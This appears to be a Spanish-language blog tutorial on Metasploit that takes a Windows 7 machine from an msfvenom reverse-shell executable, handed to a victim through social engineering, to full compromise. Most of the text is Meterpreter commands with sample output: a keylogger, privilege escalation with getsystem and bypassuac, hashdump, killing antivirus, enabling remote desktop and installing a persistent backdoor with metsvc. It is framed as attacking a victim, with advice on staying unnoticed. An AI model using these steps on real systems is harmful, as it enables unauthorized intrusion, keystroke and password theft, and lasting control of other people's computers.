Post8 n

Metasploit es un Framework desarrollado para ejecutar exploits de manera remota contra un objetivo en particular. Un exploit es un trozo de código el cual permite explotar ciertas vulnerabilidades. Esta herramienta posee una gran cantidad de exploits lo cuales abren la posibilidad de explotar una gran cantidad de fallos de Seguridad.

Herramientas De Metasploit

Este conjunto de  herramientas representa la estructura general de Metasploit Framework. A medida que vayamos utilizando estas herramientas serán explicadas en detalle.

Para iniciar Metasploit por la consola de Linux es necesario, utilizar el comando msfconsole. Este comando abrirá Metasploit:

Msfconsole

Exploit: es un fragmento de código el cual permite aprovecharse de una vulnerabilidad en particular.

Auxiliary: Un Auxiliary es un programa que permite obtener información sobre el objetivo con el fin de determinar posibles vulnerabilidades que le puedan afectar, este tipo de programas son útiles para establecer una estrategia de ataque sobre un sistema objetivo, o el caso de un responsable de seguridad, definir medidas defensivas que permitan mitigar amenazas sobre un sistema vulnerable.

Payload: Un Payload, es un programa que acompaña a un exploit para realizar funciones específicas una vez el sistema objetivo es comprometido, la elección de un buen payload es una decisión muy importante a la hora de aprovechar y mantener el nivel de acceso obtenido en un sistema. En muchos sistemas existen firewalls, Antivirus y sistemas de detección de intrusos que pueden dificultar la actividad de algunos payloads, por este motivo se suelen utilizar encoders para intentar evadir cualquier AV o Firewall.

Post: Esta opción permite ejecutar acciones post explotación. Por ejemplo, si logramos obtener una conexión remota a Windows, podríamos utilizar una herramienta post para elevar privilegios.

Encoder: Esta opción permite encodear exploits para poder evadir antivirus, esto es muy útil ya que en muchos casos las victimas poseen antivirus.

Nop: los Nops pueden ser utilizados para bypasear un IDS/IPS.

En este primer escenario vamos a ver como explotar un sistema Windows. Para esta prueba explotaremos un sistema operativo Windows 7 de 64 bits.

Para realizar este ataque utilizaremos la herramienta Msfvenom. Esta herramienta permite crear un exploit para poder ejecutar una conexión reversa entre la víctima y el atacante. Cabe destacar que actualmente muchos antivirus detectan exploits encodeados con Msfvenom, sin embargo en esta oportunidad nos centraremos solo en el funcionamiento en concreto de Metasploit,  en otra instancia veremos cómo bypasear un Antivirus para conseguir una shell reversa.

Estructura Msfvenom

Generando exploit con Msfvenom

Opciones básicas para la creación del exploit

Como se pudo observar en las imágenes anteriores, se creó un exploit el cual permitirá realizar una conexión revesa al atacante. Posteriormente después de diversas técnicas de Ingeniería Social le enviamos el archivo a la víctima para que lo pueda ejecutar. Pero primero debemos preparar Metasploit  para recibir la conexión inversa.

En primer lugar corremos Mfconsole, posteriormente realizamos lo siguiente:

Msfconsole + multi/handler

Este exploit permite escuchar las conexiones entrantes hacía la máquina atacante. Esto se utiliza para que una vez que la víctima abra el ejecutable infectado, sea posible establecer una conexión y así obtener nuestra shell inversa. Para esto utilizaremos un payload muy conocido su nombre es Meterpreter. Meterpreter  es un troyano que se carga en memoria, por ende utiliza una estructura adecuada para poder ocultarse. Debemos definir este payload  y posteriormente nuestra dirección ip y puerto el cual definimos en el archivo creado con Msfvenom.


Configurando nuestro handler

Como es posible visualizar en la imagen anterior, se seteo el payload de Meterpreter con la versión de 64 bits. Posteriormente se seteo nuestra dirección IP, y el puerto a la escucha por defecto es 4444, el cual habíamos seleccionado para la creación de nuestro exploit. Finalmente al ejecutar el comando exploit, dejaremos a la escucha esta conexión para recibir una conexión inversa.

Luego de que la víctima ejecute el exploit, en nuestra máquina atacante nos aparecerá lo siguiente:

Conexión reversa establecida

Algunos comandos de Meterpreter  son los siguientes:

background

Permite establecer el proceso de la consola meterpreter a un proceso “demonio” con lo que posteriormente permitirá volver al contexto de ejecución anterior a la obtención de la consola, eventualmente se puede volver a activar este proceso por medio del comando sesión:

keyscan

Con esta utilidad es posible saber que ha digitado el usuario en su maquina, de esta se obtiene fácilmente, claves, usuarios, direcciones, mensajes, etc.

Su uso:

meterpreter > keyscan_start

Starting the keystroke sniffer…

Con esto se ha iniciado el keylogger, posteriormente para consultar lo que se digitado:
meterpreter > keyscan_dump

Dumping captured keystrokes…

Finalmente para detener el servicio basta con:

meterpreter > keyscan_stop

Stopping the keystroke sniffer…

getuid

Con estos comandos se pueden hacer operaciones de consulta y manipulación de cuentas de usuarios

Para obtener el usuario en sesión

meterpreter > getuid

Server username: OWNER\Owner

Para obtener la cuenta del usuario SYSTEM

meterpreter > getsystem

…got system (via technique 1).

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

Para volver a la sesión anterior

meterpreter > rev2self

meterpreter > getuid

Server username: OWNER\Owner

migrate

Permite migrar el proceso de Meterpreter a otro proceso activo, su uso es muy simple basta con especificar un PID activo (que puede ser consultado utilizando el comando “ps” de Meterpreter).

meterpreter > migrate 1780

De esta forma, cuando se cierre el proceso en ejecución anteriormente asociado al proceso de Meterpreter, este será “migrado” al proceso especificado, se recomienda que el PID sea el de el proceso explorer.exe o uno que tenga relación con los procesos del sistema operativo.

getgui

Con este comando es posible acceder al escritorio remoto de la maquina objetivo, en concreto, lo que permite este comando es activar el escritorio remoto de la maquina comprometida.

Su uso resulta muy sencillo:

meterpreter > run getgui -e

[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator

[*] Carlos Perez [email protected]

[*] Enabling Remote Desktop

[*] RDP is disabled; enabling it …

[*] Setting Terminal Services service startup mode

[*] The Terminal Services service is not set to auto, changing it to auto …

[*] Opening port in local firewall if necessary

[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20110307.0914.rc

Posteriormente podemos conectarnos al escritorio remoto usando el comando rdesktop con una sintaxis similar al siguiente:

rdesktop -u juan -p juan 192.168.1.34

Cabe notar que el usuario y el password especificados pueden corresponder a un usuario creado anteriormente con incognito, aunque evidentemente se puede utilizar cualquier otro usuario con credenciales validas.

Nota

En sistemas operativos XP y otros que no soporten múltiples sesiones de escritorio remoto, esta acción hará que el usuario logueado en la maquina remota pierda su sesión, por ende es necesario tener prudencia con este tipo de acciones, principalmente para no alertar al usuario sobre las acciones que se estan llevando a cabo, esto también aplica a la creación de usuarios, dado que es bastante notorio cuando un usuario se ha creado en el sistema.

metsvc

Permite definir un proceso persistente en la maquina objetivo que se encontrará a la espera de una nueva conexión por parte del atacante, para esto será necesario en primer lugar “migrar” el proceso de la sesión meterpreter actual a otro proceso “persistente” del objetivo, del modo en el que se ha indicando anteriormente con el comando migrate, por este motivo los procesos que resultan más interesantes son aquellos propios del sistema operativo, posteriormente se puede ejecutar:

meterpreter > run metsvc

[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory C:\DOCUME~1\Owner\LOCALS~1\Temp\lZBdswMe…

[*] >> Uploading metsrv.dll…

[*] >> Uploading metsvc-server.exe…

[*] >> Uploading metsvc.exe…

[*] Starting the service…

* Installing service metsvc

* Starting service

Service metsvc successfully installed.

Como se puede apreciar la backdoor se ha instalado correctamente en el objetivo, ahora es posible realizar una conexión activa (ya no es necesario esperar de forma pasiva a que un usuario ejecute el fichero .exe que habilitará la sesión meterpreter).

killav

En muchas ocasiones en la maquina objetivo existen programas de antivirus instalados, lo que dificultará tareas comunes e inclusive triviales, por esta razón existe el script killav que intentará terminar todos los procesos de antivirus en el objetivo:

meterpreter > run killav

[*] Killing Antivirus services on the target…

[*] Killing off avgrsx.exe…

route

Se trata del conocido comando route en sistemas windows/linux, permite conocer y definir las tablas de enrutamiento del sistema

cd, rm, rmdir, pwd, ls, upload, download, cat edit, del, mkdir <File System Commands>

Se trata de los comandos básicos para consulta y manipulación de ficheros, su uso es equivalente a los comandos del mismo nombre disponibles en sistemas basados en UNIX, sin embargo estos comandos se ejecutan en el sistema remoto por medio del interprete meterpreter

cd 

Permite navegar a través de la estructura de directorios, rm y del eliminar un fichero especificado, pwd, conocer el directorio actual en donde apunta meterpreter, upload para subir un fichero a la maquina remota, download, descargar un fichero desde la maquina remota, mkdircrear un directorio nuevo, cat Permite visualizar un fichero remoto, mientras que edit, permite editarlo con el uso de vi

Como se puede apreciar, se trata de comandos de fácil uso y bastante similares a los comandos clásicos en cualquier sistema Unix.

Idletime

Permite determinar cuánto ha sido el tiempo en el que el usuario de la maquina remota ha permanecido sin actividad:

channel

Para definir diferentes procesos que se ejecuten en la maquina remota y posteriormente declararlos como canales para ser manejados por meterpreter por medio del uso del comando channel:

getdesktop

Estos comandos permiten obtener el desktop del usuario actual, establecerlo y enumerar las diferentes interfaces habilitadas en la maquina objetivo, cada uno de los desktop están asociados a una sesión (normalmente la sesión, 0 se relaciona con el usuario actualmente conectado y las demás con usuarios remotos) una estación (que normalmente es la Windows Station) y un nombre de Desktop, este nombre identifica la interfaz que se enseña al usuario, por ejemplo tenemos una para el inicio de sesión, otra para el escritorio y otra para logoff.

uictl

El comando uictl permite habilitar/deshabilitar el ratón y el teclado de la maquina destino, de esta forma, se puede controlar las acciones que el usuario realiza.

hashdump

El comando hashdump permite obtener los usuarios y el hash de los passwords de la maquina remota en formato SAM, de esta forma se puede crakear la clave de un usuario determinado usando herramientas como john the ripper o ophcrack

Intento de elevación de privilegios


Como se pudo apreciar anteriormente, se intentó realizar una elevación de privilegios, esto es necesario para poder extraer los hashes  de los usuarios de Windows, sin embargo esto no fue posible con el comando getsystem. Para esto utilizaremos un nuevo exploit de Metasploit, su nombre es bypassuac. La función de este exploit es bypasear el control de cuentas de usuario (UAC) y de esta manera obtener privilegios de SYSTEM. En primer lugar dentro de Meterpreter, ejecutamos la opción background para guardar la sesión de Meterpreter. Posteriormente se debe utilizar el exploit bypassuac para intentar escalar privilegios.


Bypassuac

Seteamos Msfconsole con los parámetros adecuados, lo que nos solicita por defecto es la sesión de Meterpreter,  en este caso es la sesión 1. Posteriormente debemos setear el mismo payload de Meterpreter para poder volver a conectarnos a la sesión y escalar privilegios.


Elevando privilegios

En primer lugar seteamos la sesión de Meterpreter, posteriormente el target, ya que por defecto nos aparece el target 0,  que corresponde a Windows de 32 bits, posteriormente seteamos el payload  necesario para la conexión reversa, luego nuestra dirección ip, y finalmente ejecutamos el exploit. Después de conseguir nuestra sesión en Meterpreter, debemos ejecutar el comando getsystem para escalar privilegios y así obtener permisos de SYSTEM. Con esto tenemos privilegios para hacer lo que se nos antoje dentro del equipo de nuestra víctima.



Artículos que te pueden interesar